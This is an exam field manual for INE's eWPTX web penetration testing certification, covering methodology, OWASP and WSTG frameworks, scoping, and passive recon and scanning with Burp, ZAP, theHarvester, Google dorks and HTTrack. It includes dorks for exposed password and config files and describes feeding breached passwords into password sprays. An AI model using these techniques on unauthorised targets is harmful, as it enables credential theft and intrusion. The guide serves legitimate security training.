eWPTX — Exam Field Manual

Web Application Penetration Tester eXtreme (INE) — complete course notes + attack playbook

Built from the full Advanced Web Application Penetration Testing learning path (6 courses, 120 lessons, 41h 33m of video) plus the core web attack knowledge the exam assumes from eWPT.

0. Read This First

0.1 Exam facts

0.2 Domain weighting — where the points actually are

The single biggest lever is API testing at 25%. If you are short on time, drill §5 hardest, then §2 and §3/§4. Recon at 15% is the cheapest domain to score — it is mostly "run the right tool, read the output".

0.3 How to use this file during the exam

1. Ctrl+F is your interface. Search the error string, the header name, the DBMS name, the file extension — not the vulnerability class. Every payload block has a one-line comment above it describing what it does, so searching plain English works.
2. Each section runs detect → confirm → exploit → escalate. Do not skip "confirm" — the exam asks for specific values (a flag, a hash, a username, a version string), so you need a working primitive, not a hunch.
3. "Exam tips" blocks close every subsection. They name the first thing to try, the trap that eats the most time, and what evidence actually proves the finding.
4. Payloads are copy-pasteable. When one fails, the surrounding table gives the alternates — work down the table rather than re-thinking from scratch.

0.4 Table of contents

0.5 The master workflow (memorise this shape)

Every target in the exam gets the same opening, and it takes under 15 minutes:

# 1. What is it? Fingerprint before you attack.
whatweb -a 3 http://TARGET
curl -sI http://TARGET                      # headers: Server, X-Powered-By, Set-Cookie, CSP
wafw00f http://TARGET                       # is there a WAF in the path?

# 2. What's there? Content discovery, always with the right extensions.
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,zip,old,json
curl -s http://TARGET/robots.txt http://TARGET/sitemap.xml

# 3. Is there an API? (25% of the exam — check this on EVERY target)
for p in /api /api/v1 /api/v2 /swagger.json /swagger-ui.html /openapi.json /api-docs \
         /graphql /graphiql /soap /services /ws /?wsdl /actuator /actuator/env; do
  printf '%s -> ' "$p"; curl -s -o /dev/null -w '%{http_code}\n' "http://TARGET$p"
done

4. Proxy everything through Burp, browse the app manually as a normal user, then read the site map. The passive crawl is where the real attack surface appears.
5. Enumerate the parameters, not the pages. Every GET/POST param, every cookie, every header (User-Agent, Referer, X-Forwarded-For, Host), every JSON field is an injection point.
6. Pick the attack by context, using the section index above.

0.6 Injection point priority order

When you have a parameter and don't know what it's for, test in this order — cheapest and most likely first:

1. Methodology, Planning & Reconnaissance

1.1 Web App Security Testing vs Web App Penetration Testing

Web application security testing is the broad, all-encompassing process of evaluating a web application's security posture to find vulnerabilities, weaknesses and risks. Web application penetration testing is a subset of it — the part that actively exploits what was found in order to prove real risk. Exam-wise: if a question asks you to "verify" or "demonstrate impact", you are in the pentest subset and must produce a working proof of concept, not just a scanner alert.

Types of web application security testing

Analysis-technique shorthand you will see in OWASP material:

OWASP A03:2021 explicitly states: source code review is the best method of detecting if applications are vulnerable to injections, and recommends automated testing of all parameters, headers, URLs, cookies, JSON, SOAP and XML inputs, with SAST/DAST/IAST integrated into the CI/CD pipeline.

Exam tips — 1.1

• "Controlled exploitation" is the rule: go far enough to prove the flaw, never far enough to damage confidentiality, integrity or availability. Do not drop real malicious payloads, do not delete data, do not run a destructive web shell.
• A scanner alert is not a finding. Manually verify every automated result to eliminate false positives and false negatives before you answer a question.
• Record for every finding: the exact request, the exact response, the parameter, and the minimal PoC payload.

1.2 Web App Pentest Methodology & Lifecycle

Why a methodology matters

A web application's attack surface is far larger than a typical network host, so ad-hoc testing systematically misses tests. A methodology gives you:

1. Consistency and standardization — repeatable procedures, tools and techniques across applications and projects.
2. Comprehensive coverage — all critical components and functionality get assessed; fewer overlooked flaws.
3. Efficiency and time management — prioritise high-risk areas, avoid redundant work, and delegate whole test categories to team members with clear start/end boundaries.
4. Thorough identification of vulnerabilities — both common and rare.
5. Risk prioritisation — assign risk levels based on impact to the application and the business, so stakeholders fix the right things first.
6. Effective reporting and communication — structured findings readable by technical and non-technical stakeholders.
7. Industry standards / compliance alignment — OWASP, NIST, PTES; compliance regimes (e.g. HIPAA for a medical institution) constrain which tests you may run.
8. Legal and ethical compliance — respect rules of engagement, obtain written authorization; scope exists for jurisdictional and data-handling reasons, not just convenience.
9. Detection of complex vulnerabilities — chained vulns often only surface when a prior misconfiguration is found first; a methodology surfaces stack-specific nuances (e.g. testing NoSQL injection, not just relational SQLi, because the back end may be a document or in-memory store).

The generalised lifecycle

Industry methodologies

Exam tips — 1.2

• Start every lab by locating the app and building a site map — you cannot exploit what you have not mapped.
• Common trap: assuming a relational database. If SQLi payloads fail, test NoSQL injection before concluding "not vulnerable".
• Second common trap: stopping at the first vulnerability. Chains are what the exam rewards — a misconfiguration that reveals a file that reveals a credential.
• Keep a running log (spreadsheet or notes) of every endpoint, parameter and payload you tried, with the response, so you can answer questions without re-testing.

1.3 OWASP Top 10 (2021 — current release as taught)

The OWASP Top 10 is not a methodology — it is a regularly updated, statistically derived awareness document ranking the most critical web application security risks. First released 2003; updated roughly every four years. Built on a hybrid of a data call to contributing organisations (2017 covered ~114,000 applications; 2021 more than double) which determines 8 of the 10 categories, plus a community survey which supplies the other 2 (this is how A10 SSRF got in). Each release builds on the last; a category moving down the list does not mean the risk decreased — only that its frequency in that data window changed.

Categories are prefixed A and referenced as A03:2021 (or A03-2021). Use that reference in your report so the developer can jump straight to the OWASP page.

A01–A10 (2021)

2017 → 2021 mapping (know this — mis-citing a version in a report is the trap the instructor calls out)

Summary: 3 new categories (A04, A08, A10), 4 with naming/scoping changes, plus consolidation.

What each category page gives you

Per-category statistics you can read off the OWASP page: CWEs mapped, max incidence rate, average incidence rate, average weighted exploit, average weighted impact, max coverage, average coverage, total occurrences, total CVEs. Then: overview, description (what causes it), how to prevent, example attack scenarios, references, and the CWE list.

Use these as attacker intelligence: a low average incidence but high weighted impact (injection) tells you it is rarer but devastating; high incidence with slightly lower impact (broken access control) tells you to always test it because you will usually find something.

OWASP risk rating model (used by the Top 10 and the WSTG calculator)

Risk = Likelihood × Impact. Each factor is scored 0–9; likelihood is the average of the 8 likelihood factors, impact the average of the 8 impact factors.

Overall risk severity is read from the likelihood × impact matrix: Note / Low / Medium / High / Critical.

The Top 10 PDF prints a per-risk summary table with columns: Threat Agents, Attack Vectors (Exploitability), Security Weakness (Prevalence), Security Weakness (Detectability), Impacts (Technical), Impacts (Business). Business impact is always application specific — you must calculate it yourself.

Worked example (SQL injection, as taught): skills = some technical skills; motive = high reward; opportunity = no access or resources required; size = anonymous internet users; ease of discovery = automated tools available; ease of exploit = easy; awareness = public knowledge; intrusion detection = logged without review → likelihood 7. Confidentiality = extensive critical data; integrity = high loss; availability = extensive primary services (attacker can drop tables); accountability = completely anonymous; financial = significant; reputation = loss of major accounts; non-compliance = high-profile violation; privacy = thousands of people → overall severity: Critical.

Exam tips — 1.3

• Memorise the A-numbers of 2021. Questions phrased "which OWASP category" expect A0X:2021, not the 2017 number.
• Remember the two consolidations: XSS → A03 Injection, XXE → A05 Security Misconfiguration, and Insecure Deserialization → A08.
• Evidence to record: CWE ID, OWASP category, affected URL/parameter, likelihood score, impact score, overall severity.

1.4 OWASP Web Security Testing Guide (WSTG) & Checklist

The WSTG is the community-driven OWASP testing framework for web applications — the practical, hands-on reference for planning, executing and reporting a web app security test. Stable release taught: v4.2 (v5 in development). The PDF is ~465 pages and free (CC BY-SA — attribution + share-alike).

Where to get it

• Project page → sidebar: latest online version, per-release change logs, PDF download.
• v4.2 change log: "introduces new testing scenarios, updates existing chapters, offers an improved writing style and chapter layout."
• GitHub repo (OWASP/wstg) → checklists/ folder → Excel workbook, also available in Markdown and Google Sheets.

Guide structure

1. Introduction — testing project and objectives, principles of testing, testing techniques explained, manual inspections and reviews, threat modeling, source code review, penetration testing, the need for a balanced approach, deriving security test requirements, security tests in dev/test workflows, data analysis and reporting.
2. The OWASP Testing Framework — phases: before development begins, during definition and design, during development, during deployment, during maintenance and operations; SDLC testing workflow; penetration testing methodologies.
3. Web Application Security Testing — the test categories below.
4. Reporting — version control, table of contents, the team, scope, limitations, timeline, disclaimer, executive summary, findings structure.
5. Appendix — testing tools resource (ZAP, Burp Suite, Burp Proxy browser add-on, Firefox, Tamper Data, Cookie Editor, sqlmap, commercial black-box tools) and fuzz vectors.

Test ID format: WSTG-<CATEGORY>-<NN> e.g. WSTG-INFO-03, WSTG-INPV-05. Cite the ID in your report — the dev/security team can resolve it instantly without you pasting the whole description.

WSTG v4.2 categories and test-ID ranges

Each test page follows the same shape: Summary → Test Objectives → How to Test → Tools → Remediation → References. That is your mid-exam playbook for any technique you have forgotten.

The WSTG checklist spreadsheet

Four worksheets in the official v4.2 workbook:

How to drive it during an engagement

1. After scope is agreed, colour the rows you will run (e.g. light blue/green) and grey out the rows that are out of scope. Do not delete them — you may need to justify exclusions.
2. Work top to bottom by category. Set status and paste notes/links per row as you go.
3. When a test finds something, add a row to Summary Findings and compute severity in the Risk Assessment Calculator.
4. Useful extra columns to add yourself: tools to use (e.g. nikto / dirsearch / ffuf), CWE ID, OWASP Top 10 2021 mapping, result, affected item, status, reference/PoC (test evidence). Splitting each WSTG category onto its own sheet makes large engagements navigable.

Exam tips — 1.4

• The WSTG checklist is explicitly recommended as an exam aid — use it to stay organised across 45 questions and 18 hours. Tick off what you have tested per host so you do not re-test.
• Ensure the checklist version matches the guide version you cite (4.2 ↔ 4.2). IDs shifted between 4.0 and 4.2.
• When you are stuck on a lab, open the matching WSTG test page and read How to Test — it lists the exact technique and tooling.
• Evidence to record per test: WSTG ID, URL/parameter, request/response pair, outcome.

1.5 Pre-Engagement Phase

The phase before any packet is sent: the tester and the client agree on legal and technical details governing execution and outcomes. Testing without signed authorization makes you legally culpable.

The documents / agreement areas

Pre-engagement steps in order

1. Understand project objectives/goals — why now, prior incidents, target posture.
2. Scope definition — in-scope apps/URLs/functionality; explicit out-of-scope systems and networks; boundaries and limitations.
3. Authorization & legal requirements — signed authorization from someone empowered to sign (CTO / CIO / CISO / application owner); confirm compliance with legal and regulatory requirements.
4. Rules of engagement — constraints, guidelines, schedule, hours, comms, escalation.
5. Communication & coordination — channels with IT, dev teams and management (weekly meetings, Slack/Teams channel); coordinate to minimise disruption to production.
6. Contracts & disclosure agreements — contracts, NDAs.
7. Scoping meeting — second pass: confirm or amend the agreed scope with stakeholders before work starts.
8. Preparation of tools and resources — tools, licences, VMs, VPS/cloud infrastructure for black-box testing, shared tracking spreadsheet, everyone on the same proxy/tooling.
9. Risk assessment & acceptance — assess potential impact of the test itself; obtain management's written acceptance of those risks.
10. Engagement kick-off — confirm start date and timeline, distribute RoE to the testing team.

Black box vs white box: in white box the client supplies technologies, user roles and business-critical functionality up front; in black box you go in blind and item 3 of the pre-engagement information list does not apply.

Exam tips — 1.5

• Treat the exam's target list as the scope. Anything not listed — other subnets, the exam portal, third-party CDNs and libraries — is out of scope; do not waste time there.
• Third-party assets loaded by the app (JS libraries, style sheets, external APIs) are by default out of scope even though they appear in your proxy's site tree.
• Record scope boundaries in your notes before you start so a finding on the wrong host does not cost you a question.

1.6 Defining Scope: Burp Target Scope & ZAP Context

Scope in the proxy is the mechanical implementation of the engagement scope. It keeps the site tree clean, stops you attacking out-of-scope hosts and limits passive/active scanning.

Burp Suite — Target → Scope

# Burp menu path: Target tab -> Scope sub-tab -> "Include in scope" -> Add -> paste host/URL prefix
# Then: Target -> Site map -> filter bar -> "Show only in-scope items"
# Also: Proxy -> Options/Settings -> Intercept Client Requests -> "And URL is in target scope"

Quick way in the lab: browse the target once through the proxy, then right-click the host in the site map → Add to scope.

OWASP ZAP — Contexts

ZAP calls its scope a Context. Think of contexts as silos: one per application/scope grouping, useful for large engagements.

Modes (top-left dropdown): Safe (no potentially dangerous operations), Protected (attacks only allowed against URLs in scope), Standard, Attack (auto-attacks anything in scope). Use Protected when you must not stray outside scope.

# ZAP menu path: Sites tree -> right-click the target site -> Include in Context -> Default Context
# Regex form inside the dialog, e.g. include the domain and all its subdomains:
https?://([^/]*\.)?example\.com.*

Other steps and controls:

Never launch a scan at the context level — always launch it against a specific site or URL node.

Exam tips — 1.6

• First action in any ZAP/Burp lab: set the scope, then toggle the in-scope-only filter. Your site map becomes readable immediately.
• Trap: a clean-looking site tree full of CDN/analytics/JS-library hosts. Those are third-party and out of scope — filter them out rather than testing them.
• In ZAP, Protected mode prevents accidental attacks on out-of-scope hosts; switch to Standard only when you need the scanner.

1.7 Website Recon & Footprinting (Passive)

Footprinting is reconnaissance narrowed to information pertinent to the specific target. What you are hunting:

• IP address of the web server hosting the site (and whether a proxy/WAF fronts it)
• Directories hidden from search engines
• Names, email addresses, phone numbers, physical addresses
• Web technologies in use
• Subdomains and additional hosts

Resolve the host

# DNS lookup: resolve a domain to its A / AAAA / MX records
host hackersploit.org

Reading the output: two or more A records for a site that should have one is a strong sign of a proxy/WAF in front (Cloudflare, Sucuri). host also returns IPv6 (AAAA) addresses and the MX records, which give you the mail provider/domain.

# Show a one-line description of any Linux command (use when you forget a tool's purpose)
whatis host

# Registrar / registrant / nameserver / creation-expiry data for a domain
whois hackersploit.org

# Targeted DNS record lookups
dig hackersploit.org A
dig hackersploit.org MX
dig hackersploit.org TXT
dig hackersploit.org NS

# Attempt a DNS zone transfer against a nameserver (classic misconfiguration; zonetransfer.me is the public practice target)
dig axfr zonetransfer.me @nsztm1.digi.ninja

Web server metafiles (WSTG-INFO-03)

robots.txt tells crawlers which paths not to index — which is exactly why it is an attacker's index of interesting paths. Almost every site has one and it must be publicly readable.

# Fetch robots.txt and read the Disallow entries
curl -s https://target.tld/robots.txt

What to look for: Disallow: /wp-admin/ immediately fingerprints WordPress and points at the admin directory; plugin paths; backup, staging, /admin, /api, /includes entries.

sitemap.xml (sometimes sitemaps.xml, or listed inside robots.txt) is the crawler's organised index of the site. On a WordPress/Yoast site it splits into post, page, category and author sitemaps.

# Fetch the sitemap index and enumerate every indexed URL
curl -s https://target.tld/sitemap.xml

What to look for: pages not linked from the front end, hidden categories, and the author sitemap, which enumerates valid usernames on a WordPress blog — feed those into username enumeration and password attacks later.

Related metafiles worth checking: /sitemap_index.xml, /.well-known/security.txt, /crossdomain.xml, /clientaccesspolicy.xml.

Subdomain enumeration (passive sources)

WAF / proxy detection

# Identify the web application firewall in front of a target
wafw00f https://target.tld

# Run every WAF detection signature rather than stopping at the first match
wafw00f -a https://target.tld

# List all WAFs wafw00f can fingerprint
wafw00f -l

Header-level tells: CF-RAY, cf-cache-status, Server: cloudflare → Cloudflare; X-Sucuri-ID → Sucuri; X-CDN/X-Cache → CDN in front of origin.

JavaScript file analysis

Client-side JS is source code the application hands you. After crawling, pull every .js file and grep it.

# Extract every .js reference from a page
curl -s https://target.tld | grep -oE 'src="[^"]+\.js"' | cut -d'"' -f2

# Grep a downloaded copy of the site for API endpoints, keys and secrets in JavaScript
grep -rniE "api[_-]?key|secret|token|authorization|bearer|password|/api/|endpoint" ./target.tld --include="*.js"

What to look for: hardcoded API keys and tokens, internal/undocumented API endpoints, admin routes, commented-out code, debug flags, version strings of vulnerable JS libraries (feeds A06:2021), and developer comments revealing infrastructure.

Exam tips — 1.7

• robots.txt and sitemap.xml are the two cheapest wins on any target — check them before anything else. Disallowed paths are a to-do list.
• The author sitemap / WordPress author archives is a username-enumeration source; record every username you find.
• Trap: two A records ≠ two servers. It usually means a proxy; do not report the CDN's IP as the origin.
• Evidence to record: resolved IPs, MX records, every path from robots.txt/sitemap, every subdomain, WAF name.

1.8 OSINT: theHarvester, EyeWitness, Leaked Password Databases

theHarvester — emails, subdomains, hosts, IPs

Open-source OSINT tool that automates passive reconnaissance by querying search engines and public data repositories to map a domain's external threat landscape. Pre-installed on Kali.

# Kali package name still uses the lowercase spelling; the binary is capital-H
sudo apt install theharvester

Running theharvester (lowercase h) prints a Kali deprecation notice — the correct binary is theHarvester.

# Show every option and, critically, the full list of available sources/modules
theHarvester -h

# Passive email + host harvest for a domain using search-engine sources only
theHarvester -d ine.com -b bing,baidu,duckduckgo,yahoo

# Wider passive sweep across search engines and public data repositories
theHarvester -d zonetransfer.me -b bing,baidu,duckduckgo,yahoo,urlscan,crtsh,otx,rapiddns

# Harvest, resolve the discovered subdomains, and save the report
theHarvester -d target.tld -l 500 -b crtsh,otx,rapiddns,urlscan -r -f target_harvest

Sources/modules include: anubis, baidu, bing, bingapi, brave, censys, certspotter, crtsh (Comodo certificate search), duckduckgo, fullhunt, hunter, intelx, netlas, otx (AlienVault), pentesttools, rapiddns, securityTrails, shodan, threatminer, tomba, urlscan, virustotal, whoisxml, yahoo, zoomeye.

Notes from the demo:

• Many powerful modules (hunter, intelx, netlas, pentesttools, tomba, virustotal, whoisxml, zoomeye) require an API key; free tiers exist but are rate-limited per day. Missing key → missing API key for <source>, which is non-fatal, the run continues.
• Sources change over time — dnsdumpster was a module and is no longer available. Always re-read -h for the current list.
• Passing a company name (-d INE) yields different results to passing a domain (-d ine.com); the domain form yields far more (hosts, IPs, ASNs, interesting URLs).
• Output sections: Emails found, Hosts found, IPs, Interesting URLs, ASNs, People found.
• Brave as a source may fail with cannot decode content encoding: br — drop it from the list and re-run.
• Google is no longer supported as a source (rate limiting).

EyeWitness — website screenshots + passive fingerprinting

Takes screenshots of a list of websites, captures server header info, saves page source, and identifies default credentials if the application is known — extremely useful against admin panels, CMS login forms and long bug-bounty subdomain lists.

# Install from the Kali repos
sudo apt install eyewitness

# Build the input list — one URL/host per line (also accepts CSV, XML from nmap/Nessus/Nexpose)
cat > domains.txt <<'EOF'
hackersploit.org
forum.hackersploit.org
EOF

# Screenshot every host in the file via Selenium and write the report to a directory
eyewitness --web -f domains.txt -d /home/kali/Desktop/hackersploit

Output directory layout and what to mine from it:

Header-level intel visible directly in the report: X-Powered-By: PHP/7.4.29, cf-cache-status (Cloudflare), Content-Security-Policy, CMS-specific headers (e.g. Discourse). The resolved IP column shows whether hosts collapse onto a single proxy IP.

Leaked password databases

Correlate harvested employee emails against public breach data; a hit gives you a real password candidate for a password spray against the target's login form, VPN, webmail or SSO.

• haveibeenpwned.com (Troy Hunt) — aggregates breach corpora, free, no sign-up, has an API. Search by email address or phone number. Shows which breaches an address appeared in, and a summary of the largest breaches with details (e.g. the April 2021 Facebook set of ~533M users, ~20% of subscribers).
• Workflow: theHarvester (1.8) → employee emails → HIBP → breached-in-which-service → candidate passwords → password spray (only when authorised and in scope).
• Rationale: password reuse is near-universal, so one breached credential frequently unlocks unrelated services.

Exam tips — 1.8

• theHarvester's value is subdomains and hosts as much as emails — run it with crtsh,otx,rapiddns,urlscan before you touch a scanner.
• Trap: -s (Shodan), --screenshot, -r, -t cross from passive into semi-active. Know which side of the line you are on if a question asks you to classify a technique.
• EyeWitness is the fastest way to triage a large host list — look for admin panels and default-credential hints first.
• Evidence to record: every email address, every host/subdomain, every resolved IP, screenshot filenames.

1.9 Web Application Technology Fingerprinting

Goal: identify the client-side framework, the server-side language, the web server, the CMS, the database, the CDN/WAF, and the exact versions — versions feed directly into A06:2021 (Vulnerable and Outdated Components) and into choosing the right injection/exploit syntax.

Browser extensions

Read-off example: MonsterInsights + MailChimp + Yoast SEO + /wp-content/ → WordPress; PHP + MySQL + Apache/LiteSpeed on Linux → LAMP stack; Cloudflare in the CDN row → proxy in front of origin.

whatweb (CLI, pre-installed on Kali)

"Next-generation web scanner" — identifies technologies used by websites, passively by default.

# Fingerprint a target's technology stack
whatweb hackersploit.org

# Verbose, human-readable output broken out per plugin
whatweb -v hackersploit.org

# Aggression level 1 = stealthy (single request, passive); 3 = aggressive; 4 = heavy
whatweb -a 1 hackersploit.org

# Fingerprint a list of hosts and log the results
whatweb -i domains.txt --log-verbose=whatweb.txt

Reading whatweb output: HTTPServer, Apache/nginx/LiteSpeed; the initial 301 moved permanently block with HTTPServer[cloudflare] then the real GET — the redirect means a proxy sits in front; jQuery[x.y.z], Modernizr — client-side libraries and versions; PHP[7.4.29] and X-Powered-By — server-side language and version; WordPress — CMS; Title[...]; Email[...] — harvested addresses (zonetransfer.me leaks customerservices@zonetransfer.me this way); UncommonHeaders[...] — frequently names CMS plugins; IP[...].

Header and cookie signatures to recognise

Banner grabbing (WSTG-INFO-02) is the first web-server fingerprinting technique; the WSTG also lists sending malformed requests and automated tooling (Nikto, Netcraft, Nmap).

HTTP methods worth enumerating during recon (WSTG-CONF-06)

# Ask the server which HTTP methods it allows (read the Allow: / Public: response header)
curl -sik -X OPTIONS https://target.tld/

# Nmap NSE equivalent, including methods the server does not advertise
nmap -p 80,443 --script http-methods --script-args http-methods.test-all=true <target-ip>

# Banner-grab: dump response headers only
curl -sI https://target.tld

# Nmap service/version detection against the web port
nmap -sV -p 80,443 <target-ip>

Exam tips — 1.9

• Fingerprint before you attack: the server-side language decides your payload syntax (PHP vs .NET vs Java), the database decides your SQLi syntax.
• Trap: a CDN/WAF banner masks the origin. Do not report "Cloudflare" as the web server.
• Cross-check at least two sources (extension + whatweb + headers) — extensions miss things and can return empty on first load.
• Evidence to record: server software + version, language + version, CMS + version, plugin/theme names and versions, JS library versions, WAF/CDN.

1.10 Google Dorks & Search Engine Discovery (WSTG-INFO-01)

Search engines index whatever the site failed to exclude. If robots.txt was never updated and no noindex meta tags were used, indexes contain content the owner never intended to publish. Direct methods query indexes and caches; indirect methods mine forums, newsgroups and tendering sites for design/configuration details.

Operator reference

cache: has since been retired by Google; use the Wayback Machine (below) as the reliable historical source.

Dork recipes

# Everything Google has indexed for the domain, including subdomains
site:ine.com

# Subdomain enumeration via search engine (what Sublist3r automates)
site:*.ine.com

# Hunt an admin panel by URL or by page title
site:ine.com inurl:admin
site:*.ine.com intitle:admin

# Locate a forum / community subdomain
site:ine.com inurl:forum

# Documents exposed on the domain (network diagrams, internal PDFs, spreadsheets)
site:*.ine.com filetype:pdf
site:ine.com filetype:xlsx
site:ine.com filetype:docx
site:ine.com filetype:zip

# People / org intel
site:ine.com employees
site:ine.com instructors

# Directory listing enabled (a web server misconfiguration that exposes directory contents)
intitle:"index of"
intitle:"index of" "backup"

# Exposed credential files
inurl:auth_user_file.txt
inurl:password.txt
intitle:"password.txt"

# Government data leaks via directory listing (GHDB-style)
site:gov filetype:csv

# WordPress configuration backups — wp-config.php holds the MySQL credentials
inurl:wp-config.php.bak
intitle:"index of" "wp-config.php.bak"

Google Hacking Database (GHDB)

Maintained by Offensive Security at exploit-db.com/google-hacking-database. Browseable and filterable by category — Files Containing Juicy Info, Files Containing Passwords, Sensitive Directories, Vulnerable Files, Web Server Detection, Error Messages, Pages Containing Login Portals, Footholds, Network or Vulnerability Data. Search it by technology (e.g. "WordPress") to get ready-made dorks for that stack, then append site:target.com to constrain it to your scope.

Historical snapshots

Wayback Machine (web.archive.org) stores dated snapshots of a site going back decades (e.g. ine.com snapshots from 1999 onward). Why it matters operationally: companies redesign sites and assume old content is gone. Old versions frequently expose email addresses, contact details, internal hostnames, staff names and sensitive documents that were removed from the live site but still exist in the archive — and sometimes the referenced files are still live on the server.

# List every URL the Wayback Machine has archived for a domain (feeds directory/file discovery)
curl -s "http://web.archive.org/cdx/search/cdx?url=target.tld/*&output=text&fl=original&collapse=urlkey"

Exam tips — 1.10

• Always anchor a dork to scope with site: — untargeted dorks return other people's exposed data, which you must not touch.
• Google will rate-limit and CAPTCHA you if you fire dorks rapidly; slow down or switch engines (Bing/DuckDuckGo support site:, inurl:, filetype:).
• Highest-yield dork trio on an exam target: site:, filetype:, intitle:"index of".
• Evidence to record: the exact dork, the URL found, and the sensitive content it exposed.

1.11 Copying a Website for Offline Analysis (HTTrack)

Downloading a full local copy lets you analyse the directory structure, grep the whole site for strings, and find HTML comments, information leakage, API endpoints and JavaScript libraries without generating further traffic against the target.

# Install the CLI version (and optionally the browser-driven GUI)
sudo apt install httrack
sudo apt install webhttrack

# Read the built-in examples and option list before mirroring anything large
httrack --help

# Simplest mirror of a site into the current directory
httrack www.someweb.com/bob/

# Mirror into a chosen output directory
httrack www.someweb.com/bob/ -O /tmp/mirror

# Mirror two sites at once, accepting only .jpg files from .com hosts and skipping PDFs
httrack www.someweb.com/bob/ www.anothertest.com/mike/ +*.com/*.jpg -mime:application/pdf

# Get all files ( +* ) starting from one page, limited to link depth 6
httrack www.someweb.com/bob/bobby.html +* -r6

# Spider mode: test links without downloading content
httrack --spider www.someweb.com/

# Practical engagement command: mirror a target into a per-target folder
mkdir -p ~/Desktop/digi && httrack https://digi.ninja -O ~/Desktop/digi

Interactive wizard — run httrack with no arguments and it prompts for: project name → base path (e.g. /home/kali/digi) → URL(s) (space-separated for multiple) → action (Mirror Web Site(s) / Mirror with Wizard / Just get files indicated / Test links / Mirror ALL links) → proxy → wildcards (file-extension filters, e.g. only .zip, only .js) → additional options (e.g. recurse level) → then it prints the equivalent command line before launching.

Key caveats from the demo

• A site that issues a redirect (e.g. zonetransfer.me → digi.ninja) will mirror only an index.html containing the redirect. Mirror the final destination host, or handle the redirect and set an explicit link depth.
• Mirrors grow fast — a modest site hit ~50 MB in minutes. Always set a recurse level or extension filters; check the folder's properties and kill the run when it is enough.
• webhttrack launches a local web UI on http://localhost:8080: language → project name → project category → base path (e.g. /home/kali/websites) → action (Download web site(s) / Get individual files / Download all sites in pages) → URL(s) (+ optional HTTP auth username/password, or a URL list file) → Start.

What to do with the mirror

# Find developer comments and leaked notes in the downloaded HTML
grep -rn "<!--" ~/Desktop/digi/digi.ninja --include="*.html" | head -50

# Enumerate the mirrored directory structure (uploads, scripts, includes, admin)
find ~/Desktop/digi/digi.ninja -type d | sort

Directories worth immediate attention in a mirror: uploads/ (archives, PDFs, user-supplied files), scripts/ or js/ (JavaScript libraries → version-check them), includes/, admin/, backup/, plus robots.txt, manifest, analytics scripts and the stylesheet paths.

Exam tips — 1.11

• Mirroring is passive from the target's perspective in terms of intent, but it is still a large volume of requests — set a depth limit so it does not look like a DoS.
• Grep the mirror for <!--, TODO, password, apikey, /api/, and internal hostnames before doing any active testing.
• Evidence to record: the paths and comments found, plus the JS library names and versions.

1.12 Crawling & Mapping with Burp Suite (Passive Crawling)

Passive crawling means Burp builds the site map purely from the traffic you generate by browsing through the proxy — no extra requests, no noise. It is the safest way to map an application and it catches things a spider misses because you drive the real workflows (login, forms, multi-step processes).

Lab setup sequence

# Identify your Kali IP — in INE labs Kali is always the .2 of the subnet and the target is the .3
ifconfig

# Confirm the target is up
ping -c 3 192.168.65.3

# Service/version detection on the web port to confirm a web server is listening
nmap -sV -p 80 192.168.65.3

Then: Kali menu → Web Application Analysis → burpsuite → Temporary project → Use Burp defaults → Start Burp. In Firefox enable the pre-configured FoxyProxy "Burp Suite" profile.

Cosmetic/UI options if you need them: User options → Display → Look and feel — Metal, GTK, or Darcula for dark mode (requires a Burp restart). Project options holds per-project settings; Configuration library holds reusable configs.

Working the map

1. Set scope first: Target → Scope → Include in scope → Add → paste http://192.168.65.3.
2. Browse the application normally. Proxy → HTTP history records everything; Target → Site map builds the tree. The live passive crawl runs automatically and populates the Issues pane; the Event log on the Dashboard confirms "Proxy service started successfully".
3. Proxy → Intercept — toggle on to capture and edit a specific request (e.g. a login POST/GET), off while you browse to avoid stalling.
4. Right-click any site-map node → Copy URL to open it directly in the browser, or send to Repeater (manual request/response iteration) or Intruder (brute force / fuzzing over a marked parameter).
5. In Repeater, use Follow redirection and the Render tab to see the response as the browser would.
6. Browse robots.txt through the proxy so its paths enter the site map, then right-click the host → refresh/expand branch to reveal the new nodes.

What to hunt for in the site map

Real workflow from the demo: robots.txt → passwords/ node → accounts.txt → credentials → confirmed against the login form in Repeater; separately phpmyadmin/ logged in without credentials → full database access → accounts table gave admin / adminpass.

Burp Community limitations to plan around: no active scanner, and no site-map search/filter by term (Professional only). Compensate by mirroring the site with HTTrack (1.11) and grepping offline, and by using ZAP's scanner (1.13).

Exam tips — 1.12

• Order of operations: scope → browse every link and submit every form → then read the site map. Manually exercise login, registration, search, upload and any multi-step flow so those endpoints exist in the map.
• Trap: leaving Intercept on. Requests silently queue and the app looks broken.
• Send anything interesting to Repeater immediately — you will want to replay it many times.
• Evidence to record: full URL, HTTP method, every parameter name and value, and the response status/length for both a valid and an invalid input.

1.13 Web App Scanning with OWASP ZAP

ZAP's active scanner is the free equivalent of Burp Professional's scanner. It is a vulnerability scanner: it sends crafted requests to detect SQLi, XSS, directory browsing and more. It is traffic-intensive — tune it and prefer scanning specific URLs over whole sites.

Lab setup

# Identify Kali's IP; target = same subnet, last octet .3
ifconfig

# Confirm the web stack before scanning (Apache on 80 + MySQL implies a CMS/auth backend)
nmap -sV -p- 192.168.65.3

Kali menu → Web Application Analysis → owasp-zap. Choose whether to persist the session. Set the mode (Standard for scanning, Protected to stay inside scope). Drag panes to taste; increase font via Tools → Options → Display.

Full authenticated-scan workflow

1. Browse the app — toolbar → Manual Explore / Open Browser → enter the target URL. Dismiss the HUD if you do not want it. Log in with valid credentials (lab example: bWAPP, user bee / password bug) and exercise the vulnerable functionality so the passive crawl records those endpoints.
2. Add to context — Sites tree → right-click the site → Include in Context → Default Context.
3. Configure authentication — double-click the context → Authentication → select Form-based Authentication:
   • Login Form Target URL: the URL the login POST goes to (e.g. http://192.168.65.3/login.php) — select it from the recorded requests.
   • Login Request POST Data: copy the body of the captured login request, e.g. login=bee&password=bug&security_level=0&form=submit.
   • Username Parameter: login · Password Parameter: password.
   • Logged Out response messages regex: a string that only appears when logged out, e.g. Login.
4. Add the user — context → Users → Add → name the user and supply the real username/password (bee / bug). Enable the user.
5. Spider — right-click the target → Attack → Spider. Set Context = Default Context, User = your user (this runs an authenticated spider), tick Recurse. Start Scan. Watch the "URLs Found" counter.
6. Active Scan — right-click the target → Attack → Active Scan. Leave Policy and Context as-is, set User to your authenticated user, optionally add a filter. Start Scan.
7. Watch the Alerts tab while it runs.

Tuning and other ZAP attack options

Reading alerts

